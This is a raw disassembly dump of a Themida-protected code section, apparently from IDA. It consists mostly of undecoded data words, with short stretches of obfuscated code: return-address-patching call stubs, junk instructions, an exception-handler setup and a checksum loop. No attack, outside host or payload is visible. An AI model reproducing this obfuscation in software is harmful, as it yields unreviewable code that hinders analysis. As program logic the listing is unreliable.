dd 8958C358h, 81042444h, 15042444h, 40000000h, 0CFC4C350h
dd 23F5BD89h, 0BF66060Bh, 95FFDAE0h, 60B03D1h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1FC35343h, 0CE0FB28Ah
dd 63F27E78h, 33259D09h, 61F5060Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0D0C35545h, 9842A979h, 5A293D1h
dd 0D327BB2Eh, 85C711E7h, 60B1009h, 3, 129D9D0Bh, 0BD83060Bh
dd 60EA81Dh, 0F840F00h, 66000000h, 22E9F88Bh, 0B3000000h
dd 1EC4BF12h, 30506A81h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 74B843F8h, 300698C1h
dd 9DBD89F9h, 6A060B0Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0B559C353h, 0A9527617h
dd 2040B6BFh, 66B2BF26h, 13E94C91h, 0E2000000h, 0EC583849h
dd 3295A127h, 9082A072h, 0B1B8765Dh, 0BD83097Eh, 60B1009h
dd 0CF850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 86CCC353h, 8E0F2B22h
dd 2, 0BD83D98Ah, 60EA81Dh, 9B840F00h, 0F9000003h, 0A81DB5FFh
dd 8166060Eh, 0FF324AF3h, 0B083D95h, 0B58BF806h, 60EA811h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h
dd 0C7A41743h, 1000106h, 99D8900h, 50060B0Dh, 0FCC2BF66h
dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 4019C355h, 0B06591CDh, 0C02E28B5h
dd 3D4FF381h, 0B5FF2893h, 60EA81Dh, 68B0F52h, 8B000000h
dd 0B18FDBDh, 95FF5B06h, 60B0641h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 8CC35242h, 0A4CA7045h, 0C18589C5h
dd 8B060B2Eh, 0EA811B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 507EE667h, 16899D8Bh
dd 665F060Bh, 0DA6CE381h, 121D858Bh, 6A060Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E7813AC3h
dd 853F76Ah, 0C48689h, 0B70F0000h, 4D958BD9h, 66060B17h
dd 7F2DEB81h, 0E804C283h, 13h, 0F00750E4h, 750E44Eh, 50E44EF0h
dd 0E44EF007h, 0BFF00750h, 0CBA6F13h, 2050895Fh, 0EE9h
dd 0B9F83D00h, 2D838359h, 5A0556A4h, 8161B3D2h, 0FEC79CF3h
dd 0EE858D33h, 6A060EBAh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 8BD1C356h, 0B2A3DBDh
dd 0B8868906h, 0F9000000h, 8166006Ah, 0FF0B28E7h, 0EA81DB5h
dd 79BD8B06h, 0E9060B06h, 0Fh, 3D509AABh, 319BC149h, 0B224728Eh
dd 0FF2ABD19h, 0B0F1595h, 50DF8B06h, 810F5250h, 2, 310F0BB7h
dd 38AD19BFh, 89585A06h, 8B602434h, 68E0FDAh, 89000000h
dd 0B23F5BDh, 0B5FF6106h, 60EA81Dh, 33C1BD29h, 8A0F060Bh
dd 6, 2F498589h, 95FF060Bh, 60B00F5h, 4458EB81h, 0CE97595h
dd 43000000h, 0DDF04C19h, 60D167h, 83FA64A2h, 0B2191BDh
dd 840F0006h, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 22C35242h, 9E9EC69h, 0CB000000h, 0D78B2808h
dd 0CC8DCC32h, 50DE8B96h, 10870Fh, 0BE90000h, 0E7000000h
dd 7BD3E0D1h, 406561FEh, 6A969319h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0FB22C353h
dd 9BD8B3Dh, 0FF060B23h, 0EA81DB5h, 0DA8B6606h, 128195FFh
dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0CCD5E8C3h, 0B93C863Eh, 8C0F2915h, 6, 661BD23h
dd 0B5FF060Bh, 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 21C35242h, 85953152h, 5B060B22h, 0B8D95FFh
dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0DCAE7FC3h, 0E6541C07h, 29E1549Dh, 0B2D9195h
dd 0F1BD8306h, 2060B17h, 28840Fh, 9D8B0000h, 60B0DDDh
dd 8BF88B66h, 0B2EC585h, 0BE906h, 0FA300000h, 38CA8C92h
dd 0B0E8DDA3h, 0C67Eh, 3899589h, 85C7060Bh, 60B06B9h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_58BEFB
loc_58BEF8: ; CODE XREF: Themida_:0058BF0Cj
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BEFB proc near ; CODE XREF: Themida_:0058BEF3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_58BEFB endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
jns short loc_58BEF8
push edi
lodsd
sbb bl, 8Bh
popf
pop ecx
push ss
or eax, [esi]
mov edi, [ebp+60B2E59h]
jmp loc_58B38A
; ---------------------------------------------------------------------------
mov [ebp+60B059Dh], edi
mov eax, ecx
adc edi, 54C01BD4h
lea eax, [ebp+60B28A9h]
xor [ebp+60B1661h], ebx
nop
mov di, ax
push eax
mov ebx, esi
nop
mov [ebp+60B2175h], edi
push 0
mov [ebp+60B26C9h], ebx
push 0
push 0
push edx
call sub_58BF60
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BF60 proc near ; CODE XREF: Themida_:0058BF58p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_58BF60 endp
; ---------------------------------------------------------------------------
dd 108B9368h, 8E858Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0FC7161C3h, 0FBF1424h
dd 833FF8B3h, 958905C0h, 60B1A4Dh, 50525090h, 14E952h
dd 0D2710000h, 0F6B40F18h, 0A860A957h, 4E382E5h, 0BE97E67Eh
dd 310F330Eh, 6C3345BBh, 0F585A1Ah, 5E931h, 6BD30000h
dd 5A10DFE4h, 14E85058h, 0A2000000h, 0D1A6C9C9h, 0B51A5711h
dd 0CEAE810Ah, 47E32E9h, 0E9BABE2Bh, 9, 0A922CC39h, 0A13BD485h
dd 60905FE1h, 29D99533h, 0F080060Bh, 6A61D9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DEC35646h, 772C5AB7h
dd 198D8900h, 6A060B11h, 69B58900h, 0FF060B17h, 0B2F2195h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 1C5BD5A1h, 33519D29h, 0D98B060Bh, 0A7B08D8Dh
dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0FF841C3h, 8Fh, 6AD1FF00h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 10AC353h
dd 9D9D799Ch, 161FC099h, 11E8h, 75F39F00h, 4038A100h, 0A24645F2h
dd 645E263Ah, 0F78198B6h, 63B7CA5Bh, 19BD835Bh, 1060B0Bh
dd 48850Fh, 26A0000h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0EAC35141h, 5060500Dh, 0F88B6652h, 8B66310Fh
dd 61585AF8h, 8B240489h, 0B3301BDh, 1595FF06h, 89060B0Fh
dd 0B07B58Dh, 2606BB06h, 7BE97D43h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6100098h
jmp loc_58C14F
; ---------------------------------------------------------------------------
dd 0B079599Fh
; ---------------------------------------------------------------------------
stc
cli
xchg eax, ecx
loc_58C14F: ; CODE XREF: Themida_:0058C143j
push 0
push edx
call sub_58C15A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C15A proc near ; CODE XREF: Themida_:0058C152p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_58C15A endp
; ---------------------------------------------------------------------------
scasb
mov eax, 0CD98D89h
or eax, [esi]
lea eax, [ebp+60E9293h]
clc
push eax
mov ebx, edi
mov [esp], eax
mov [ebp+60B166Dh], eax
push large dword ptr fs:0
mov [ebp+60B2F41h], edi
mov large fs:0, esp
push 0
push ecx
call sub_58C1A4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58C1A4 proc near ; CODE XREF: Themida_:0058C19Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_58C1A4 endp
; ---------------------------------------------------------------------------
dd 0DF749EF1h, 0A67011E0h, 229BD0Bh, 85FF060Bh, 60B066Dh
dd 6AD88B66h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0BF12FC17h, 4FBCBB4Ah, 800F35C0h
dd 6, 5799D0Bh, 0B5FF060Bh, 60B0FD5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 3DC35141h, 0BF217022h, 0DCDB6E6h
dd 29F59D8Bh, 95FF060Bh, 60B2411h, 118E9h, 0C59D2900h
dd 0B0060B28h, 2BBF6600h, 0D99D09BDh, 0E6060B29h, 0EE870h
dd 8D530000h, 19FD3F59h, 0C72B3BB6h, 606A9178h, 0F98D8B60h
dd 0F060B02h, 5F61CFBFh, 613C71E4h, 0DB830Fh, 0D5BB0000h
dd 0F33BF8Fh, 0B70FC8B6h, 6BAF8h, 0B5890000h, 60B244Dh
dd 13E9C18Bh, 12000000h, 4B5C0429h, 0F0DB92C3h, 39B10DB2h
dd 0B3B0D307h, 0E8C129DFh, 7E904h, 0F63A0000h, 8FD7DE8Dh
dd 0E2F7664Ah, 9D09C82Bh, 60B050Dh, 8B66D18Bh, 87E9DFh
dd 13E90000h, 20000000h, 0F71171DCh, 0F48C641Ch, 0FB6B08D4h
dd 74A41BC4h, 858B2A9Dh, 44004E49h, 1B8FCF81h, 0C08301CFh
dd 7E907h, 21700000h, 0E95150BEh, 0C083C3h, 3BBFCB80h
dd 9830FD0h, 60000000h, 0E961D88Bh, 3Dh, 0FFFF8D8Bh, 860FFFFFh
dd 6, 1505BD8Bh, 0E183060Bh, 22840F01h, 89000000h, 0B2B3595h
dd 0FFA58306h, 0FEFFFFFFh, 2E59BD8Bh, 9589060Bh, 44004E49h
dd 740ABF66h, 0E9h, 25B58D00h, 1060F7Eh, 0B0DCDBDh, 66006A06h
dd 0F921E781h, 32DD95FFh, 9D89060Bh, 60B0F51h, 1054B9h
dd 0FCE18300h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 18C35646h, 2FDB7FD8h, 602617A5h, 13158D8Bh, 8961060Bh
dd 0B2F099Dh, 6AFC06h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 783869C3h, 22A99D8Bh, 0F98B060Bh
dd 9589C02Bh, 60B1B55h, 0BAh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0DBE3E7E8h
dd 8B6D62C3h, 0B22A1BDh, 0C233AD06h, 0D003E8D1h, 7504E983h
dd 0FAF381F4h, 3635D8Bh, 0B03D5BDh, 880D06h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0A18243C3h, 810F392Ah, 6, 2779B589h, 958B060Bh, 60B174Dh
dd 26D9BD23h, 8D8B060Bh, 60B0119h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 99C35242h, 0E2251AE7h, 9D8B0AFEh
dd 60B2175h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 884B33C3h, 4800Fh, 0BB660000h, 6A6BE7h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0F89CCAC3h, 0BF0F727Eh, 0E9BD2BDBh, 83060B00h, 0B29BDBDh
dd 840F0006h, 0ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 87C35242h, 0D650C75h, 111E629Ah, 0B8A6h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 8B6602C3h, 0D78D8DFEh, 6A060B4Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 3F67C355h, 52E578FBh, 6060BF36h, 8E0Fh, 0E8810000h
dd 0EFFC08Ah, 850F6161h, 3, 0E8FEB70Fh, 0Eh, 9CF85A6Bh
dd 1EAC7286h, 172320BBh, 0F3816C84h, 25E37652h, 0FE1FF5Fh
dd 8Eh, 9BD8300h, 60B10h, 4B4840Fh, 0FF90000h, 0BD83DFB7h
dd 60B1009h, 0BE840F01h, 6A000004h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E8AFC350h
dd 2AE38166h, 9BD83C9h, 3060B10h, 459860Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 331C3DC3h, 0B2935BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 0F89873C3h, 0D258EE4Ah
dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0AD81C351h, 36AEF9BCh, 816603A3h
dd 804E72D7h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 5BE4A7C3h, 1A85BD89h, 0C90A060Bh
dd 13B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 8E44FAC3h, 98E090CFh, 858B24DFh
dd 60B317Dh, 85335B56h, 60B06EDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 60C35040h, 0EF1CF025h, 4173E162h
dd 698D8960h, 89060B13h, 0B1A0995h, 50906106h, 9E852h
dd 0F5D70000h, 0F53628ADh, 520001C6h, 310F5B5Bh, 5325BF66h
dd 5750585Ah, 905B5F56h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 67C4F7C3h, 0D98AD4AEh
dd 35BD89E8h, 68060B09h, 29D0F1B1h, 12E8h, 8F172400h, 7662828Ah
dd 0FED33537h, 1FE9E589h, 0E8B0D299h, 11h, 0FBA50BDDh
dd 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 8A0FB6h, 5B000000h
dd 2434815Fh, 29CFF24Eh, 66D9BF0Fh, 0FF1331BBh, 0B03D195h
dd 0FFB70F06h, 0A81D8589h, 6A060Eh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E32C66C3h
dd 38FDEC8Eh, 0CB81662Ch, 0EAE9E2B7h, 89000001h, 0B0139B5h
dd 15858B06h, 66060EA8h, 7086C781h, 1800C7h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0FB9FAC3h, 187h, 0B58BF900h, 60EA819h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D0C35747h, 7A8F87C7h
dd 0B8DC5998h, 68B0F27h, 29000000h, 0B2AAD95h, 0E1858B06h
dd 6A060B06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0EFAFC353h, 3EAA87Fh, 0B0E69BDh
dd 0F068906h, 689h, 35958900h, 8B060B20h, 0B317D85h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 895A55F1h, 0B2AE1BDh, 11850106h, 89060B19h, 6A0446h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 33AD8EC3h, 97D6F9D4h, 8198589h, 6051060Bh, 7E9EB8Ah
dd 78000000h, 0E56EDFC2h, 5F61FCC8h, 0D08B6096h, 4870Fh
dd 0BB660000h, 506119E7h, 86DCBB66h, 52006A96h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 1AAB0AD7h
dd 0B5FF12A1h, 60EA815h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 84C35747h, 4E8276Bh, 0FF000000h, 0BB001F03h
dd 78853F77h, 24448B50h, 8BF98A04h, 87BF6600h, 244489C7h
dd 0F88B6604h, 50006A58h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0B2993FD5h, 0F20C8C7Ch
dd 1D858DFCh, 90060EA8h, 0FA8B6652h, 10E8505Bh, 28000000h
dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 66F992C9h, 5F59D1BFh
dd 0D195FF90h, 8B060B03h, 0BD0B61FBh
dd 60B2B59h, 100985C7h, 3060Bh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C2B1D4C3h
dd 874DF11Eh, 2B91BFD5h, 8960793Ch, 0B2819BDh, 85850B06h
dd 61060B09h, 0A81DBD83h, 0F00060Eh, 4684h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0D3816C14h, 18092C28h, 39E9h, 188A0F00h, 0E9000000h
dd 13h, 5F92BFAAh, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h, 509137F2h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 90EF3AC3h, 6684ACC0h, 0E27FC381h, 1009BD83h
dd 0F03060Bh, 4B785h, 1DBD8300h, 60EA8h, 4AA840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 64116CC3h, 31B7BB23h, 0A81DB5FFh, 6A060Eh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FFA8DAC3h
dd 69A9BE38h, 0BD8951F9h, 60B2445h, 338DBD8Bh, 95FF060Bh
dd 60B083Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 23C35747h, 36755144h, 8B19C8F8h, 6E956h, 0E6980000h
dd 67661CD9h, 0A811B58Bh, 6C7060Eh, 10001h, 31299589h
dd 5350060Bh, 3830Fh, 8B660000h, 34895BF9h, 53006A24h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 8BDD428Ch, 0B271DBDh, 0E5B58906h, 0FF060B02h, 0EA81DB5h
dd 9E806h, 0A6E40000h, 0A800A606h, 0FC62D85h, 68Bh, 0B5BD0B00h
dd 5B060B04h, 64195FFh, 0D98B060Bh, 0A811B58Bh, 960060Eh
dd 0B1AC59Dh, 14E906h, 51E90000h, 60F58060h, 0FFDEA504h
dd 0E4A9035Eh, 0E9AEE235h, 8B6120D2h, 0B121D85h, 0ACF8006h
dd 0C48689h, 0C6BB0000h, 0E8256F66h, 8, 0BD0E609Fh, 667F4DF9h
dd 0B553BF66h, 4D958B5Bh, 6A060B17h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 5ACDC357h
dd 570D500Ah, 8B663866h, 0DAB70FD9h, 6A04C283h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0EF25C352h, 66205089h, 858DD98Bh, 60EBAEEh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 35C35141h, 54B1EE95h
dd 0E261C565h, 0D7816622h, 9D8B45E6h, 60B13E1h, 0B88689h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 3EF097C3h, 29DDBD8Bh, 9D23060Bh, 60B1815h
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0B5073BC3h, 339D9D0Bh, 8B66060Bh, 1DB5FFF8h
dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0D8E5C355h, 2060B142h, 6E95Eh
dd 39A50000h, 0C76CE2D3h, 0F1595FFh, 0B589060Bh, 60B32B9h
dd 0DE8B6696h, 0EE96050h, 0B0000000h, 59B3CA29h, 527617B5h
dd 9BEA95A9h, 0E9966180h, 0Bh, 4A2D81FBh, 48E5EE81h, 0F0FFDADh
dd 84h, 1DB5FF00h, 0BB060EA8h, 79B5E5D1h, 6E78166h, 0F595FFF0h
dd 6A060B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0FA35C352h, 800534A5h, 66DDE8E0h
dd 0BD83F88Bh, 60B2191h, 47840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0C5FFC351h, 2729BD8Bh, 8B96060Bh, 0AABB50DAh, 9652C870h
dd 13E9h, 7456B500h, 3D422C97h, 2A5613F3h, 67B69D28h, 0CD2E5F20h
dd 0B5FFAFB7h, 60EA81Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0F2C35040h, 8B66C5D1h, 0F5BD8BF9h, 0FF060B14h
dd 0B128195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0AEE13742h, 0F45466Eh, 68Dh, 1D958900h
dd 3060B0Fh, 0B1771BDh, 1DB5FF06h, 6A060EA8h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 7EC5C355h, 665396B5h, 0BF66F98Bh, 95FFEA50h, 60B0B8Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EBC35646h
dd 2419AB1Fh, 9D8B6E53h, 60B1021h, 0B95BD8Bh, 0BD83060Bh
dd 60B17F1h, 91840F02h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B57DC357h
dd 0C0BB7ED3h, 0BE9E1E1h, 0A2000000h, 0D0FD14BAh, 871FB789h
dd 858B2997h, 60B2EC5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 69C35040h, 8F4953D5h, 0F0AB18Ch, 0C6DBB7h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 1E4E0A60h, 0AC5A3765h, 68D0Fh, 8D290000h
dd 60B0CD9h, 6B985C7h, 60Bh, 0B5890000h, 60B0965h, 0FFF23EE9h
dd 91B589FFh, 8B060B0Eh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 858D7777h, 60B28A9h, 810Fh
dd 50500000h, 0F46B352h, 89585A31h, 8A0F2404h, 2, 6AF88Ah
dd 6E9h, 0DF5B4E00h, 6A611F01h, 1A810F00h, 0E8000000h
dd 0Eh, 414CB8EBh, 2E607F77h, 0A67D2C48h, 8D898E8Dh, 60B2D89h
dd 94858D5Bh, 6A061010h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 535DC351h, 7E8h, 5F3EB700h
dd 0B5B9AFCh, 835F5F50h, 8E805C0h, 5D000000h, 0AF3C5C47h
dd 0E97AD82Dh, 6, 0DD7E1DE3h, 905B3515h, 0B13BBF57h, 505F5453h
dd 23C7BF66h, 6DBD8B90h, 6A060B22h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 6AD7C5EBh
dd 3870F00h, 66000000h, 850FDF8Bh, 6, 100D8589h, 95FF060Bh
dd 60B2F21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 55C35747h, 0A8C0FFEh, 0E9000000h, 5, 95D3DA3Fh
dd 0B08D8D9Ch, 6A060EA7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0FFDCC355h, 619589D1h
dd 83060B27h, 0B0B19BDh, 850F0106h, 34h, 17CD9D89h, 26A060Bh
dd 90DE8B66h, 0E950DE8Ah, 13h, 0D37EBBFCh, 0AE768BF9h
dd 648C7435h, 577173Ch, 90E90BA1h, 1599BD29h, 95FF060Bh
dd 60B0F15h, 0E66E9h, 0E800h, 815D0000h, 10109EEDh, 0D19D3106h
dd 6A060B2Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 8459C357h, 0E78166BEh, 858D6860h
dd 60E9293h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0D0C35141h, 90A55E49h, 0DD4941E6h, 0F81B786h, 0F50F9BFh
dd 585h, 9072BB00h, 4893989h, 0FA8B6624h
dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0BB6BC357h, 89AE3DBFh
dd 0B08D58Dh, 25896406h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_58D1F3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D1F3 proc near ; CODE XREF: Themida_:0058D1EBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_58D1F3 endp
; ---------------------------------------------------------------------------
db 58h
dd 858965E8h, 60B0011h, 66D85FFh, 8B66060Bh, 0BFFF6ADAh
dd 0DA777ADh, 0DA5B5FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 8CA6BAC3h, 7195463Eh
dd 9529C8C8h, 60B0415h, 241195FFh, 0E9060Bh, 0F000001h
dd 68Ah, 840F00h, 0B0000000h, 29BD0300h, 0E6060B02h, 8DBD8B70h
dd 0E4060B18h, 0F9BD8B71h, 3C060B00h, 0D4830F61h, 8B000000h
dd 0C8B60FFBh, 5219D09h, 0B589060Bh, 60B2AADh, 6BAh, 759D8B00h
dd 8B060B10h, 0CCC780C1h, 0FC04E8C1h, 0E2F766F8h, 0FC8FABBh
dd 0DE9530Fh, 0E7000000h, 0A6D9C003h, 31F21421h, 9A29E047h
dd 0BFC82B5Bh, 59A79F99h, 8A0FD18Bh, 3, 0E9F2F780h, 7Bh
dd 38D0Fh, 8B660000h, 4C858BDFh, 8B505F4Ch, 7C083FBh, 0DDD9529h
dd 0C083060Bh, 0EDBD8900h, 3B060B2Eh, 10830FD0h, 0BB000000h
dd 2E5E8343h, 46E9h, 3D9D2B00h, 8B060B16h, 0FFFFFF8Dh
dd 9D9D8BFFh, 83060B06h, 840F01E1h, 2Bh, 0FFFFA583h, 0E8FEFFFFh
dd 0Dh, 87898024h, 5DED00D1h, 9EACF2F1h, 71953149h, 5B060B15h
dd 4C4C9589h, 0E9505Fh, 8D000000h, 0F8E79B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 3188BA2Eh, 0B3301BDh, 71BD8B06h, 6A060B28h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 4FEF7F0Ch, 6784F0BDh, 127D9D89h, 95FF060Bh, 60B32DDh
dd 0B9E1CB80h, 1075h, 29A18D31h, 0E183060Bh, 69B589FCh
dd 0FC060B11h, 41B50160h, 66060B0Fh, 61EF10B8h, 0B8FB8B66h
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_58D3EF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D3EF proc near ; CODE XREF: Themida_:0058D3E7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_58D3EF endp
; ---------------------------------------------------------------------------
push esi
sub [eax-75h], dl
fistp word ptr [ebx+2Bh]
popf
jnz short near ptr loc_58D41A+2
or eax, [esi]
mov edx, 0
adc bh, 17h
loc_58D413: ; CODE XREF: Themida_:0058D41Dj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
loc_58D41A: ; CODE XREF: Themida_:0058D407j
sub ecx, 4
jnz short loc_58D413
push 0
push esi
call sub_58D42A
